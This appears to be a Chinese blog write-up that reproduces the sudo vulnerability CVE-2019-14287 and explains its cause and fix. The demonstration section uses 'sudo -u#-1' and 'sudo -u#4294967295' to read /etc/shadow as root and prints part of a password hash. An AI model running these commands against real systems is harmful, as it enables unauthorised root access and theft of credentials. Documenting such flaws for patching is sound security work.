漏洞背景:
2019年10月14日,CVE官方發布了CVE-2019-14287的漏洞預警。其中包含sudo root權限繞過漏洞(CVE-2019-14287)的補丁修復。通過特定payload,用戶可提升至root權限。
利用前提
- sudo -v < 1.8.28
- 知道當前用戶的密碼
- 當前用戶存在於sudo權限列表
復現要知道的命令含義:

#useradd 用戶名 passwd 用戶名 #cat /etc/group #sudo -h #su 用戶名
漏洞概述
如果將sudo配置為允許用戶通過Runas規范中定義的ALL關鍵字來以任意用戶身份運行命令的話,那么攻擊者將有可能通過制定用戶ID -1或4294967295來以root權限執行惡意命令。
實際上,只要用戶的權限足夠高,即擁有最高sudo權限的用戶,並且在Runas規范中定義了ALL關鍵字的話,他們就可以運行Runas規范中明確禁止使用的那些root命令,而且以這種方式運行的命令其日志項所顯示的目標用戶為4294967295,而不是root。與此同時,在執行相應命令的過程中,PAM會話模塊將不會運行。
Sudo 的全稱是“superuserdo”,它是Linux系統管理指令,允許用戶在不需要切換環境的前提下以其它用戶的權限運行應用程序或命令。通常以 root 用戶身份運行命令,是為了減少 root 用戶的登錄和管理時間,同時提高安全性。
搭建環境
- linux系統
- 只要sudo版本< 1.8.28
- 修改配置文件
- 在/etc/sudoers 添加配置: test ALL=(ALL:!root)ALL
演示
正常情況下我們在普通用戶下cat /etc/shadow 無路如何sudo也是不管用的,因為沒有權限!
root@bogon:/# su tom tom@bogon:/$ cat /etc/shadow cat: /etc/shadow: Permission denied tom@bogon:/$ sudo -u#1002 whoami tom tom@bogon:/$ sudo -u#1002 cat /etc/shadow cat: /etc/shadow: Permission denied
當我們修改配置文件sudoers:
這樣就可以執行:
tom@bogon:/$ sudo -u#-1 cat /etc/shadow tom@bogon:/$ sudo -u#4294967295 cat /etc/shadow
root:$6$nuqirz/F$0yXjbfS2YYzmqh
.....
漏洞分析
sudo開發者說道“即使RunAs規約明確禁止root用戶訪問,但如果Runas規約文件中首先列出了ALL關鍵字,具有sudo權限的用戶就可以使用它來以root身份運行任意命令”
翻譯來就是:
sudo命令本身就已經以用戶id為0運行,因此當sudo試圖將用戶id修改為-1時,不會發生任何變化。這就導致sudo日志條目將該命令報告為以用戶id為4294967295而非root(或者用戶ID為0)運行命令

就是用-1 或者 4294967295 這個UID 。 后面這個數字有意思,它是2的32次方減一。而-1看起來又是32位二進制數值溢出后被截斷的值。
由於/etc/sudoers 中的test ALL = (ALL, !root) /usr/bin/id已經明確不能以root執行,因為root的uid是0,所以下面這樣做是會失敗的:
sudo -u#1 id
或者
sudo -u root id
但是,問題就來了,-1 或者 4294967295這個UID確是可以的。
這個命令可以以root權限執行。
sudo -u#-1 id
返回的是:
uid=0(root) gid=1001(test) groups=1001(test)
鏈接:https://www.jianshu.com/p/26af0ce68d84
漏洞修復
root@bogon:/# wget http://www.sudo.ws/dist/sudo-1.8.28p1.tar.gz root@bogon:/# tar -zxvf sudo-1.8.28p1.tar.gz root@bogon:/# cd sudo-1.8.28p1 && ./configure && make && make install root@bogon:/# cp /usr/local/bin/sudo /usr/bin/sudo
root@bogon:/sudo-1.8.28p1# sudo -V
Sudoers I/O plugin version 1.8.28p1
最后
CVE-2019-14287這個漏洞呢,並不適用於默認情況,需要管理員在 /etc/sudoers 配置了All關鍵詞才有觸發的可能。所以顯得比較雞肋。。。
題外話:
su - username 屬於登陸式shell su username 屬於非登陸式shell 區別在於加載的環境變量不一樣。 非登錄shell [root@www.oldboyedu.com ~]# su root /root/.bashrc!!! /etc/bashrc!!! /etc/profile.d/1.sh!!! 登錄式shell [root@www.oldboyedu.com ~]# su - root /etc/profile!!!! /etc/profile.d/1.sh!!! /root/.bash_profile!!!! /root/.bashrc!!! /etc/bashrc!!!